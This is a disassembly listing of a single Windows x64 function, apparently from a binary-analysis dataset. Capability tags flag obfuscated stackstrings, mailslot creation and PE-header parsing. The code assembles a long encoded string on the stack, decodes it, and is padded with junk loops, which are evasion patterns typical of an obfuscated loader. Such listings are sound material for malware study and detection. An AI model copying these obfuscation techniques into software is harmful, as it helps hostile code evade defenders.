Function at 0x140021540
Capabilities:
Contain obfuscated stackstrings
Create mailslot
Parse pe header

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x3d68
call fcn.140047960
sub rsp, rax
mov rax, qword [0x140065040]
xor rax, rsp
mov qword [rsp + 0x3d50], rax
mov dword [rsp + 0x108], 0
mov byte [rsp + 0x3a00], 0x7a
mov byte [rsp + 0x3a01], 0x6b
mov byte [rsp + 0x3a02], 0x41
mov byte [rsp + 0x3a03], 0x4b
mov byte [rsp + 0x3a04], 0x45
mov byte [rsp + 0x3a05], 0x41
mov byte [rsp + 0x3a06], 0x77
mov byte [rsp + 0x3a07], 0x30
mov byte [rsp + 0x3a08], 0x44
mov byte [rsp + 0x3a09], 0x71
mov byte [rsp + 0x3a0a], 0x70
mov byte [rsp + 0x3a0b], 0x48
mov byte [rsp + 0x3a0c], 0x38
mov byte [rsp + 0x3a0d], 0x4f
mov byte [rsp + 0x3a0e], 0x49
mov byte [rsp + 0x3a0f], 0x4a
mov byte [rsp + 0x3a10], 0x69
mov byte [rsp + 0x3a11], 0x6d
mov byte [rsp + 0x3a12], 0x56
mov byte [rsp + 0x3a13], 0x54
mov byte [rsp + 0x3a14], 0x4c
mov byte [rsp + 0x3a15], 0x78
mov byte [rsp + 0x3a16], 0x49
mov byte [rsp + 0x3a17], 0x6e
mov byte [rsp + 0x3a18], 0x73
mov byte [rsp + 0x3a19], 0x31
mov byte [rsp + 0x3a1a], 0x32
mov byte [rsp + 0x3a1b], 0x4d
mov byte [rsp + 0x3a1c], 0x69
mov byte [rsp + 0x3a1d], 0x52
mov byte [rsp + 0x3a1e], 0x54
mov byte [rsp + 0x3a1f], 0x50
mov byte [rsp + 0x3a20], 0x4c
mov byte [rsp + 0x3a21], 0x65
mov byte [rsp + 0x3a22], 0x46
mov byte [rsp + 0x3a23], 0x55
mov byte [rsp + 0x3a24], 0x78
mov byte [rsp + 0x3a25], 0x78
mov byte [rsp + 0x3a26], 0x4e
mov byte [rsp + 0x3a27], 0x72
mov byte [rsp + 0x3a28], 0x6f
mov byte [rsp + 0x3a29], 0x52
mov byte [rsp + 0x3a2a], 0x4e
mov byte [rsp + 0x3a2b], 0x4a
mov byte [rsp + 0x3a2c], 0x4d
mov byte [rsp + 0x3a2d], 0x54
mov byte [rsp + 0x3a2e], 0x49
mov byte [rsp + 0x3a2f], 0x47
mov byte [rsp + 0x3a30], 0x76
mov byte [rsp + 0x3a31], 0x57
mov byte [rsp + 0x3a32], 0x6d
mov byte [rsp + 0x3a33], 0x41
mov byte [rsp + 0x3a34], 0x36
mov byte [rsp + 0x3a35], 0x6e
mov byte [rsp + 0x3a36], 0x53
mov byte [rsp + 0x3a37], 0x54
mov byte [rsp + 0x3a38], 0x65
mov byte [rsp + 0x3a39], 0x56
mov byte [rsp + 0x3a3a], 0x31
mov byte [rsp + 0x3a3b], 0x75
mov byte [rsp + 0x3a3c], 0x78
mov byte [rsp + 0x3a3d], 0x44
mov byte [rsp + 0x3a3e], 0x6f
mov byte [rsp + 0x3a3f], 0x4e
mov byte [rsp + 0x3a40], 0x44
mov byte [rsp + 0x3a41], 0x31
mov byte [rsp + 0x3a42], 0x76
mov byte [rsp + 0x3a43], 0x49
mov byte [rsp + 0x3a44], 0x74
mov byte [rsp + 0x3a45], 0x32
mov byte [rsp + 0x3a46], 0x57
mov byte [rsp + 0x3a47], 0x75
mov byte [rsp + 0x3a48], 0x65
mov byte [rsp + 0x3a49], 0x7a
mov byte [rsp + 0x3a4a], 0x37
mov byte [rsp + 0x3a4b], 0x6a
mov byte [rsp + 0x3a4c], 0x66
mov byte [rsp + 0x3a4d], 0x6f
mov byte [rsp + 0x3a4e], 0x4d
mov byte [rsp + 0x3a4f], 0x66
mov byte [rsp + 0x3a50], 0x64
mov byte [rsp + 0x3a51], 0x41
mov byte [rsp + 0x3a52], 0x47
mov byte [rsp + 0x3a53], 0x4f
mov byte [rsp + 0x3a54], 0x79
mov byte [rsp + 0x3a55], 0x52
mov byte [rsp + 0x3a56], 0x34
mov byte [rsp + 0x3a57], 0x59
mov byte [rsp + 0x3a58], 0x52
mov byte [rsp + 0x3a59], 0x4f
mov byte [rsp + 0x3a5a], 0x32
mov byte [rsp + 0x3a5b], 0x4f
mov byte [rsp + 0x3a5c], 0x6e
mov byte [rsp + 0x3a5d], 0x6c
mov byte [rsp + 0x3a5e], 0x42
mov byte [rsp + 0x3a5f], 0x45
mov byte [rsp + 0x3a60], 0x75
mov byte [rsp + 0x3a61], 0x34
mov byte [rsp + 0x3a62], 0x71
mov byte [rsp + 0x3a63], 0x51
mov byte [rsp + 0x3a64], 0x67
mov byte [rsp + 0x3a65], 0x6e
mov byte [rsp + 0x3a66], 0x58
mov byte [rsp + 0x3a67], 0x4b
mov byte [rsp + 0x3a68], 0x76
mov byte [rsp + 0x3a69], 0x43
mov byte [rsp + 0x3a6a], 0x65
mov byte [rsp + 0x3a6b], 0x55
mov byte [rsp + 0x3a6c], 0x33
mov byte [rsp + 0x3a6d], 0x6b
mov byte [rsp + 0x3a6e], 0x74
mov byte [rsp + 0x3a6f], 0x35
mov byte [rsp + 0x3a70], 0x6b
mov byte [rsp + 0x3a71], 0x6b
mov byte [rsp + 0x3a72], 0x41
mov byte [rsp + 0x3a73], 0x42
mov byte [rsp + 0x3a74], 0x49
mov byte [rsp + 0x3a75], 0x79
mov byte [rsp + 0x3a76], 0x5a
mov byte [rsp + 0x3a77], 0x6b
mov byte [rsp + 0x3a78], 0x56
mov byte [rsp + 0x3a79], 0x58
mov byte [rsp + 0x3a7a], 0x34
mov byte [rsp + 0x3a7b], 0x48
mov byte [rsp + 0x3a7c], 0x44
mov byte [rsp + 0x3a7d], 0x73
mov byte [rsp + 0x3a7e], 0x58
mov byte [rsp + 0x3a7f], 0x70
mov byte [rsp + 0x3a80], 0x66
mov byte [rsp + 0x3a81], 0x6b
mov byte [rsp + 0x3a82], 0x47
mov byte [rsp + 0x3a83], 0x72
mov byte [rsp + 0x3a84], 0x67
mov byte [rsp + 0x3a85], 0x58
mov byte [rsp + 0x3a86], 0x6e
mov byte [rsp + 0x3a87], 0x6b
mov byte [rsp + 0x3a88], 0x74
mov byte [rsp + 0x3a89], 0x79
mov byte [rsp + 0x3a8a], 0x51
mov byte [rsp + 0x3a8b], 0x66
mov byte [rsp + 0x3a8c], 0x4a
mov byte [rsp + 0x3a8d], 0x6f
mov byte [rsp + 0x3a8e], 0x75
mov byte [rsp + 0x3a8f], 0x35
mov byte [rsp + 0x3a90], 0x30
mov byte [rsp + 0x3a91], 0x58
mov byte [rsp + 0x3a92], 0x6d
mov byte [rsp + 0x3a93], 0x62
mov byte [rsp + 0x3a94], 0x6d
mov byte [rsp + 0x3a95], 0x59
mov byte [rsp + 0x3a96], 0x74
mov byte [rsp + 0x3a97], 0x46
mov byte [rsp + 0x3a98], 0x56
mov byte [rsp + 0x3a99], 0x44
mov byte [rsp + 0x3a9a], 0x69
mov byte [rsp + 0x3a9b], 0x32
mov byte [rsp + 0x3a9c], 0x69
mov byte [rsp + 0x3a9d], 0x69
mov byte [rsp + 0x3a9e], 0x50
mov byte [rsp + 0x3a9f], 0x79
mov byte [rsp + 0x3aa0], 0x56
mov byte [rsp + 0x3aa1], 0x67
mov byte [rsp + 0x3aa2], 0x66
mov byte [rsp + 0x3aa3], 0x78
mov byte [rsp + 0x3aa4], 0x4c
mov byte [rsp + 0x3aa5], 0x4e
mov byte [rsp + 0x3aa6], 0x6e
mov byte [rsp + 0x3aa7], 0x54
mov byte [rsp + 0x3aa8], 0x35
mov byte [rsp + 0x3aa9], 0x53
mov byte [rsp + 0x3aaa], 0x6c
mov byte [rsp + 0x3aab], 0x33
mov byte [rsp + 0x3aac], 0x32
mov byte [rsp + 0x3aad], 0x46
mov byte [rsp + 0x3aae], 0x75
mov byte [rsp + 0x3aaf], 0x6e
mov byte [rsp + 0x3ab0], 0x51
mov byte [rsp + 0x3ab1], 0x41
mov byte [rsp + 0x3ab2], 0x46
mov byte [rsp + 0x3ab3], 0x47
mov byte [rsp + 0x3ab4], 0x77
mov byte [rsp + 0x3ab5], 0x4b
mov byte [rsp + 0x3ab6], 0x55
mov byte [rsp + 0x3ab7], 0x59
mov byte [rsp + 0x3ab8], 0x78
mov byte [rsp + 0x3ab9], 0x6b
mov byte [rsp + 0x3aba], 0x64
mov byte [rsp + 0x3abb], 0x70
mov byte [rsp + 0x3abc], 0x30
mov byte [rsp + 0x3abd], 0x47
mov byte [rsp + 0x3abe], 0x63
mov byte [rsp + 0x3abf], 0x47
mov byte [rsp + 0x3ac0], 0x74
mov byte [rsp + 0x3ac1], 0x33
mov byte [rsp + 0x3ac2], 0x41
mov byte [rsp + 0x3ac3], 0x43
mov byte [rsp + 0x3ac4], 0x68
mov byte [rsp + 0x3ac5], 0x70
mov byte [rsp + 0x3ac6], 0x6b
mov byte [rsp + 0x3ac7], 0x51
mov byte [rsp + 0x3ac8], 0x35
mov byte [rsp + 0x3ac9], 0x51
mov byte [rsp + 0x3aca], 0x56
mov byte [rsp + 0x3acb], 0x78
mov byte [rsp + 0x3acc], 0x6b
mov byte [rsp + 0x3acd], 0x50
mov byte [rsp + 0x3ace], 0x49
mov byte [rsp + 0x3acf], 0x6e
mov byte [rsp + 0x3ad0], 0x67
mov byte [rsp + 0x3ad1], 0x74
mov byte [rsp + 0x3ad2], 0x79
mov byte [rsp + 0x3ad3], 0x5a
mov byte [rsp + 0x3ad4], 0x51
mov byte [rsp + 0x3ad5], 0x35
mov byte [rsp + 0x3ad6], 0x49
mov byte [rsp + 0x3ad7], 0x31
mov byte [rsp + 0x3ad8], 0x34
mov byte [rsp + 0x3ad9], 0x77
mov byte [rsp + 0x3ada], 0x4b
mov byte [rsp + 0x3adb], 0x32
mov byte [rsp + 0x3adc], 0x5a
mov byte [rsp + 0x3add], 0x4f
mov byte [rsp + 0x3ade], 0x47
mov byte [rsp + 0x3adf], 0x72
mov byte [rsp + 0x3ae0], 0x72
mov byte [rsp + 0x3ae1], 0x44
mov byte [rsp + 0x3ae2], 0x38
mov byte [rsp + 0x3ae3], 0x6f
mov byte [rsp + 0x3ae4], 0x78
mov byte [rsp + 0x3ae5], 0x45
mov byte [rsp + 0x3ae6], 0x6e
mov byte [rsp + 0x3ae7], 0x76
mov byte [rsp + 0x3ae8], 0x47
mov byte [rsp + 0x3ae9], 0x35
mov byte [rsp + 0x3aea], 0x30
mov byte [rsp + 0x3aeb], 0x43
mov byte [rsp + 0x3aec], 0x63
mov byte [rsp + 0x3aed], 0x51
mov byte [rsp + 0x3aee], 0x78
mov byte [rsp + 0x3aef], 0x4f
mov byte [rsp + 0x3af0], 0x63
mov byte [rsp + 0x3af1], 0x72
mov byte [rsp + 0x3af2], 0x6d
mov byte [rsp + 0x3af3], 0x49
mov byte [rsp + 0x3af4], 0x51
mov byte [rsp + 0x3af5], 0x7a
mov byte [rsp + 0x3af6], 0x31
mov byte [rsp + 0x3af7], 0x35
mov byte [rsp + 0x3af8], 0x51
mov byte [rsp + 0x3af9], 0x46
mov byte [rsp + 0x3afa], 0x4e
mov byte [rsp + 0x3afb], 0x64
mov byte [rsp + 0x3afc], 0x54
mov byte [rsp + 0x3afd], 0x6f
mov byte [rsp + 0x3afe], 0x43
mov byte [rsp + 0x3aff], 0x48
mov byte [rsp + 0x3b00], 0x30
mov byte [rsp + 0x3b01], 0x43
mov byte [rsp + 0x3b02], 0x48
mov byte [rsp + 0x3b03], 0x72
mov byte [rsp + 0x3b04], 0x49
mov byte [rsp + 0x3b05], 0x36
mov byte [rsp + 0x3b06], 0x62
mov byte [rsp + 0x3b07], 0x30
mov byte [rsp + 0x3b08], 0x6e
mov byte [rsp + 0x3b09], 0x50
mov byte [rsp + 0x3b0a], 0x75
mov byte [rsp + 0x3b0b], 0x43
mov byte [rsp + 0x3b0c], 0x62
mov byte [rsp + 0x3b0d], 0x4d
mov byte [rsp + 0x3b0e], 0x7a
mov byte [rsp + 0x3b0f], 0x74
mov byte [rsp + 0x3b10], 0x32
mov byte [rsp + 0x3b11], 0x6f
mov byte [rsp + 0x3b12], 0x36
mov byte [rsp + 0x3b13], 0x44
mov byte [rsp + 0x3b14], 0x32
mov byte [rsp + 0x3b15], 0x5a
mov byte [rsp + 0x3b16], 0x50
mov byte [rsp + 0x3b17], 0x5a
mov byte [rsp + 0x3b18], 0x32
mov byte [rsp + 0x3b19], 0x4d
mov byte [rsp + 0x3b1a], 0x6c
mov byte [rsp + 0x3b1b], 0x70
mov byte [rsp + 0x3b1c], 0x34
mov byte [rsp + 0x3b1d], 0x6b
mov byte [rsp + 0x3b1e], 0x76
mov byte [rsp + 0x3b1f], 0x44
mov byte [rsp + 0x3b20], 0x31
mov byte [rsp + 0x3b21], 0x46
mov byte [rsp + 0x3b22], 0x6b
mov byte [rsp + 0x3b23], 0x4e
mov byte [rsp + 0x3b24], 0x6e
mov byte [rsp + 0x3b25], 0x74
mov byte [rsp + 0x3b26], 0x41
mov byte [rsp + 0x3b27], 0x52
mov byte [rsp + 0x3b28], 0x4a
mov byte [rsp + 0x3b29], 0x48
mov byte [rsp + 0x3b2a], 0x67
mov byte [rsp + 0x3b2b], 0x50
mov byte [rsp + 0x3b2c], 0x4c
mov byte [rsp + 0x3b2d], 0x4a
mov byte [rsp + 0x3b2e], 0x4d
mov byte [rsp + 0x3b2f], 0x78
mov byte [rsp + 0x3b30], 0x6a
mov byte [rsp + 0x3b31], 0x4b
mov byte [rsp + 0x3b32], 0x69
mov byte [rsp + 0x3b33], 0x6e
mov byte [rsp + 0x3b34], 0x37
mov byte [rsp + 0x3b35], 0x4a
mov byte [rsp + 0x3b36], 0x64
mov byte [rsp + 0x3b37], 0x6c
mov byte [rsp + 0x3b38], 0x77
mov byte [rsp + 0x3b39], 0x48
mov byte [rsp + 0x3b3a], 0x73
mov byte [rsp + 0x3b3b], 0x54
mov byte [rsp + 0x3b3c], 0x42
mov byte [rsp + 0x3b3d], 0x48
mov byte [rsp + 0x3b3e], 0x57
mov byte [rsp + 0x3b3f], 0x58
mov byte [rsp + 0x3b40], 0x4c
mov byte [rsp + 0x3b41], 0x4a
mov byte [rsp + 0x3b42], 0x7a
mov byte [rsp + 0x3b43], 0x71
mov byte [rsp + 0x3b44], 0x65
mov byte [rsp + 0x3b45], 0x59
mov byte [rsp + 0x3b46], 0x35
mov byte [rsp + 0x3b47], 0x46
mov byte [rsp + 0x3b48], 0x42
mov byte [rsp + 0x3b49], 0x47
mov byte [rsp + 0x3b4a], 0x58
mov byte [rsp + 0x3b4b], 0x55
mov byte [rsp + 0x3b4c], 0x72
mov byte [rsp + 0x3b4d], 0x6a
mov byte [rsp + 0x3b4e], 0x6a
mov byte [rsp + 0x3b4f], 0x54
mov byte [rsp + 0x3b50], 0x79
mov byte [rsp + 0x3b51], 0x4c
mov byte [rsp + 0x3b52], 0x36
mov byte [rsp + 0x3b53], 0x46
mov byte [rsp + 0x3b54], 0x47
mov byte [rsp + 0x3b55], 0x62
mov byte [rsp + 0x3b56], 0x30
mov byte [rsp + 0x3b57], 0x7a
mov byte [rsp + 0x3b58], 0x44
mov byte [rsp + 0x3b59], 0x66
mov byte [rsp + 0x3b5a], 0x6e
mov byte [rsp + 0x3b5b], 0x65
mov byte [rsp + 0x3b5c], 0x45
mov byte [rsp + 0x3b5d], 0x6a
mov byte [rsp + 0x3b5e], 0x38
mov byte [rsp + 0x3b5f], 0x55
mov byte [rsp + 0x3b60], 0x71
mov byte [rsp + 0x3b61], 0x47
mov byte [rsp + 0x3b62], 0x30
mov byte [rsp + 0x3b63], 0x69
mov byte [rsp + 0x3b64], 0x6a
mov byte [rsp + 0x3b65], 0x75
mov byte [rsp + 0x3b66], 0x73
mov byte [rsp + 0x3b67], 0x4c
mov byte [rsp + 0x3b68], 0x5a
mov byte [rsp + 0x3b69], 0x50
mov byte [rsp + 0x3b6a], 0x4b
mov byte [rsp + 0x3b6b], 0x63
mov byte [rsp + 0x3b6c], 0x50
mov byte [rsp + 0x3b6d], 0x73
mov byte [rsp + 0x3b6e], 0x4d
mov byte [rsp + 0x3b6f], 0x71
mov byte [rsp + 0x3b70], 0x32
mov byte [rsp + 0x3b71], 0x63
mov byte [rsp + 0x3b72], 0x74
mov byte [rsp + 0x3b73], 0x68
mov byte [rsp + 0x3b74], 0x76
mov byte [rsp + 0x3b75], 0x38
mov byte [rsp + 0x3b76], 0x4d
mov byte [rsp + 0x3b77], 0x63
mov byte [rsp + 0x3b78], 0x46
mov byte [rsp + 0x3b79], 0x74
mov byte [rsp + 0x3b7a], 0x41
mov byte [rsp + 0x3b7b], 0x57
mov byte [rsp + 0x3b7c], 0x49
mov byte [rsp + 0x3b7d], 0x48
mov byte [rsp + 0x3b7e], 0x7a
mov byte [rsp + 0x3b7f], 0x65
mov byte [rsp + 0x3b80], 0x64
mov byte [rsp + 0x3b81], 0x71
mov byte [rsp + 0x3b82], 0x42
mov byte [rsp + 0x3b83], 0x69
mov byte [rsp + 0x3b84], 0x66
mov byte [rsp + 0x3b85], 0x75
mov byte [rsp + 0x3b86], 0x4c
mov byte [rsp + 0x3b87], 0x58
mov byte [rsp + 0x3b88], 0x72
mov byte [rsp + 0x3b89], 0x76
mov byte [rsp + 0x3b8a], 0x64
mov byte [rsp + 0x3b8b], 0x38
mov byte [rsp + 0x3b8c], 0x5a
mov byte [rsp + 0x3b8d], 0x52
mov byte [rsp + 0x3b8e], 0x4e
mov byte [rsp + 0x3b8f], 0x76
mov byte [rsp + 0x3b90], 0x76
mov byte [rsp + 0x3b91], 0x32
mov byte [rsp + 0x3b92], 0x4e
mov byte [rsp + 0x3b93], 0x4a
mov byte [rsp + 0x3b94], 0x4a
mov byte [rsp + 0x3b95], 0x54
mov byte [rsp + 0x3b96], 0x56
mov byte [rsp + 0x3b97], 0x64
mov byte [rsp + 0x3b98], 0x72
mov byte [rsp + 0x3b99], 0x73
mov byte [rsp + 0x3b9a], 0x35
mov byte [rsp + 0x3b9b], 0x54
mov byte [rsp + 0x3b9c], 0x34
mov byte [rsp + 0x3b9d], 0x59
mov byte [rsp + 0x3b9e], 0x4d
mov byte [rsp + 0x3b9f], 0x62
mov byte [rsp + 0x3ba0], 0x4a
mov byte [rsp + 0x3ba1], 0x30
mov byte [rsp + 0x3ba2], 0x6f
mov byte [rsp + 0x28], 0x20
lea rax, [rsp + 0x3ba3]
mov qword [rsp + 0x158], rax
lea rax, [rsp + 0x3a00]
mov qword [rsp + 0x160], rax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x39a8], rax
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x39a0], rax
mov rax, qword [rsp + 0x39a0]
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0x100], rax
mov rax, qword [rsp + 0x39a8]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0x100]
mov rcx, qword [rsp + 0x118]
sub rcx, rax
mov rax, rcx
mov r8, rax
movzx edx, byte [rsp + 0x28]
mov rcx, qword [rsp + 0x100]
call fcn.140045bd0
nop
jmp 0x140022379
mov dword [rsp + 0x10c], 0x1a3
lea rax, [rsp + 0x39e0]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0x60]
mov qword [rsp + 0x188], rax
mov rax, qword [rsp + 0x188]
movsxd rcx, dword [rsp + 0x10c]
lea rcx, [rsp + rcx + 0x3a00]
mov r9, rax
mov r8, rcx
lea rdx, [rsp + 0x3a00]
lea rcx, [rsp + 0x39e0]
call fcn.140044d80
nop
lea rax, [rsp + 0x39d8]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
lea rdx, [rsp + 0x39d8]
lea rcx, [rsp + 0x39e0]
call fcn.140044580
lea rax, [rsp + 0x39d0]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
lea rdx, [rsp + 0x39d0]
lea rcx, [rsp + 0x39e0]
call fcn.140044520
nop
lea rax, [rsp + 0x39c0]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x39d0]
mov qword [rsp + 0x39c0], rax
xor eax, eax
neg rax
mov rcx, qword [rsp + 0x39c0]
lea rax, [rcx + rax*4]
mov qword [rsp + 0x39c0], rax
lea rax, [rsp + 0x39c0]
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x39c0]
mov qword [rsp + 0x128], rax
lea rax, [rsp + 0x128]
mov qword [rsp + 0x138], rax
lea rax, [rsp + 0x39c8]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x39d8]
mov qword [rsp + 0x39c8], rax
mov eax, 1
imul rax, rax, 4
add rax, qword [rsp + 0x39c8]
mov qword [rsp + 0x39c8], rax
mov rax, qword [rsp + 0x39c8]
mov qword [rsp + 0x130], rax
lea rax, [rsp + 0x130]
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x138]
mov r9, qword [rax]
mov rax, qword [rsp + 0x140]
mov r8, qword [rax]
lea rdx, [rsp + 0x198]
lea rcx, [rsp + 0x39e0]
call fcn.1400445e0
nop
lea rax, [rsp + 0x39b8]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
mov qword [rsp + 0x39b8], 0
xor eax, eax
test eax, eax
je 0x140022553
mov ecx, 0x80004003
call fcn.140046e30
nop
lea rax, [rsp + 0x39b0]
mov rdi, rax
xor eax, eax
mov ecx, 8
rep stosb byte [rdi], al
mov qword [rsp + 0x39b0], 0
xor eax, eax
test eax, eax
je 0x140022584
mov ecx, 0x80004003
call fcn.140046e30
nop
lea rax, [rsp + 0x3bb0]
lea rcx, str.Slide_zlUDXZOiCCQy
mov rdi, rax
mov rsi, rcx
mov ecx, 0x26
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x3bd6]
mov rdi, rax
xor eax, eax
mov ecx, 0xa2
rep stosb byte [rdi], al
mov dword [rsp + 0x3c], 0
lea rcx, [rsp + 0x3bb0]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
mov dword [rsp + 0x40], eax
lea rax, [rsp + 0x1a0]
mov rdi, rax
xor eax, eax
mov ecx, 0x138
rep stosb byte [rdi], al
mov dword [rsp + 0x74], 0
jmp 0x1400225f8
mov eax, dword [rsp + 0x74]
inc eax
mov dword [rsp + 0x74], eax
movsxd rax, dword [rsp + 0x74]
cmp rax, 6
jae 0x140022622
mov dword [rsp + 0x78], 0
jmp 0x140022617
mov eax, dword [rsp + 0x78]
inc eax
mov dword [rsp + 0x78], eax
cmp dword [rsp + 0x78], 0xd
jge 0x140022620
jmp 0x14002260d
jmp 0x1400225ee
lea rax, [rsp + 0x2e0]
mov rdi, rax
xor eax, eax
mov ecx, 0x138
rep stosb byte [rdi], al
mov dword [rsp + 0x7c], 0
jmp 0x14002264a
mov eax, dword [rsp + 0x7c]
inc eax
mov dword [rsp + 0x7c], eax
movsxd rax, dword [rsp + 0x7c]
cmp rax, 6
jae 0x140022680
mov dword [rsp + 0x80], 0
jmp 0x140022672
mov eax, dword [rsp + 0x80]
inc eax
mov dword [rsp + 0x80], eax
cmp dword [rsp + 0x80], 0xd
jge 0x14002267e
jmp 0x140022662
jmp 0x140022640
lea rax, [rsp + 0x420]
mov rdi, rax
xor eax, eax
mov ecx, 0x138
rep stosb byte [rdi], al
mov dword [rsp + 0x84], 0
jmp 0x1400226b1
mov eax, dword [rsp + 0x84]
inc eax
mov dword [rsp + 0x84], eax
movsxd rax, dword [rsp + 0x84]
cmp rax, 6
jae 0x1400226ea
mov dword [rsp + 0x88], 0
jmp 0x1400226dc
mov eax, dword [rsp + 0x88]
inc eax
mov dword [rsp + 0x88], eax
cmp dword [rsp + 0x88], 0xd
jge 0x1400226e8
jmp 0x1400226cc
jmp 0x1400226a1
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x3c], eax
jge 0x140022748
movsxd rax, dword [rsp + 0x3c]
movzx eax, word [rsp + rax*2 + 0x3bb0]
mov word [rsp + 0x70], ax
movsxd rax, dword [rsp + 0x40]
movsxd rcx, dword [rsp + 0x3c]
movzx eax, word [rsp + rax*2 + 0x3bb0]
mov word [rsp + rcx*2 + 0x3bb0], ax
movsxd rax, dword [rsp + 0x40]
movzx ecx, word [rsp + 0x70]
mov word [rsp + rax*2 + 0x3bb0], cx
mov eax, dword [rsp + 0x3c]
inc eax
mov dword [rsp + 0x3c], eax
mov eax, dword [rsp + 0x40]
dec eax
mov dword [rsp + 0x40], eax
jmp 0x1400226ea
lea rax, str.CTX_gAxITux
lea rcx, [rsp + 0x3bb0]
cmp rcx, rax
jne 0x140022825
mov byte [rsp + 0x61], 1
mov byte [rsp + 0x20], 0
movzx eax, byte [rsp + 0x20]
test eax, eax
je 0x14002280c
mov dword [rsp + 0x58], 0xcf18
mov dword [rsp + 0x8c], 0
jmp 0x14002279c
mov eax, dword [rsp + 0x8c]
inc eax
mov dword [rsp + 0x8c], eax
cmp dword [rsp + 0x8c], 0x18
jge 0x1400227bd
cmp dword [rsp + 0x58], 0
jge 0x1400227b1
jmp 0x1400227bd
mov eax, dword [rsp + 0x58]
dec eax
mov dword [rsp + 0x58], eax
jmp 0x14002278c
mov dword [rsp + 0x58], 0x828b1
mov dword [rsp + 0x90], 0
cmp dword [rsp + 0x90], 0x44
jge 0x14002280c
movzx eax, byte [rsp + 0x20]
test eax, eax
je 0x1400227ec
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x1400227f5
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x1400227fa
mov byte [rsp + 0x20], 0
mov eax, dword [rsp + 0x90]
inc eax
mov dword [rsp + 0x90], eax
jmp 0x1400227d0
mov byte [rsp + 0x62], 1
mov byte [rsp + 0x63], 1
mov byte [rsp + 0x64], 1
mov byte [rsp + 0x65], 1
mov byte [rsp + 0x66], 1
lea rcx, [rsp + 0x39b8]
call fcn.140043fd0
mov rcx, qword [rsp + 0x3d88]
mov rcx, qword [rcx]
mov qword [rsp + 0x148], rcx
mov rdx, rax
mov rcx, qword [rsp + 0x3d88]
mov rax, qword [rsp + 0x148]
call qword [rax + 0x68]
mov dword [rsp + 0x94], eax
cmp qword [rsp + 0x39b8], 0
je 0x14002287f
mov rax, qword [rsp + 0x39b8]
mov qword [rsp + 0x150], rax
jmp 0x14002288a
mov ecx, 0x80004003
call fcn.140046e30
nop
mov rax, qword [rsp + 0x150]
mov qword [rsp + 0x120], rax
lea rcx, [rsp + 0x39b0]
call fcn.140043fd0
mov rcx, rax
call fcn.140044770
mov rcx, qword [rsp + 0x120]
mov rcx, qword [rcx]
mov qword [rsp + 0x168], rcx
mov r8, rax
lea rdx, [0x140060ff0]
mov rcx, qword [rsp + 0x120]
mov rax, qword [rsp + 0x168]
call qword [rax]
mov dword [rsp + 0x94], eax
cmp dword [rsp + 0x94], 0
jge 0x140022e83
mov byte [rsp + 0x67], 1
mov byte [rsp + 0x29], 0
mov byte [rsp + 0x23], 1
mov byte [rsp + 0x2a], 1
movzx eax, byte [rsp + 0x29]
test eax, eax
jne 0x140022926
movzx eax, byte [rsp + 0x23]
test eax, eax
jne 0x140022926
movzx eax, byte [rsp + 0x2a]
test eax, eax
je 0x1400229bb
mov dword [rsp + 0x5c], 0x11bec
mov dword [rsp + 0x98], 0
jmp 0x14002294b
mov eax, dword [rsp + 0x98]
inc eax
mov dword [rsp + 0x98], eax
cmp dword [rsp + 0x98], 0x18
jge 0x14002296c
cmp dword [rsp + 0x5c], 0
jge 0x140022960
jmp 0x14002296c
mov eax, dword [rsp + 0x5c]
dec eax
mov dword [rsp + 0x5c], eax
jmp 0x14002293b
mov dword [rsp + 0x5c], 0x86743
mov dword [rsp + 0x9c], 0
cmp dword [rsp + 0x9c], 0x34
jge 0x1400229bb
movzx eax, byte [rsp + 0x23]
test eax, eax
je 0x14002299b
movzx eax, byte [rsp + 0x23]
test eax, eax
jne 0x1400229a4
movzx eax, byte [rsp + 0x29]
test eax, eax
jne 0x1400229a9
mov byte [rsp + 0x2a], 1
mov eax, dword [rsp + 0x9c]
inc eax
mov dword [rsp + 0x9c], eax
jmp 0x14002297f
mov byte [rsp + 0x68], 1
mov byte [rsp + 0x2b], 1
mov byte [rsp + 0x2c], 0
mov byte [rsp + 0x24], 0
movzx eax, byte [rsp + 0x2b]
test eax, eax
jne 0x1400229ee
movzx eax, byte [rsp + 0x2c]
test eax, eax
jne 0x1400229ee
movzx eax, byte [rsp + 0x24]
test eax, eax
je 0x140022a83
mov dword [rsp + 0x44], 0x1649c
mov dword [rsp + 0xa0], 0
jmp 0x140022a13
mov eax, dword [rsp + 0xa0]
inc eax
mov dword [rsp + 0xa0], eax
cmp dword [rsp + 0xa0], 0x1b
jge 0x140022a34
cmp dword [rsp + 0x44], 0
jge 0x140022a28
jmp 0x140022a34
mov eax, dword [rsp + 0x44]
dec eax
mov dword [rsp + 0x44], eax
jmp 0x140022a03
mov dword [rsp + 0x44], 0x56f39
mov dword [rsp + 0xa4], 0
cmp dword [rsp + 0xa4], 9
jge 0x140022a83
movzx eax, byte [rsp + 0x24]
test eax, eax
je 0x140022a63
movzx eax, byte [rsp + 0x2b]
test eax, eax
jne 0x140022a6c
movzx eax, byte [rsp + 0x24]
test eax, eax
jne 0x140022a71
mov byte [rsp + 0x2c], 0
mov eax, dword [rsp + 0xa4]
inc eax
mov dword [rsp + 0xa4], eax
jmp 0x140022a47
mov byte [rsp + 0x69], 0
mov byte [rsp + 0x21], 0
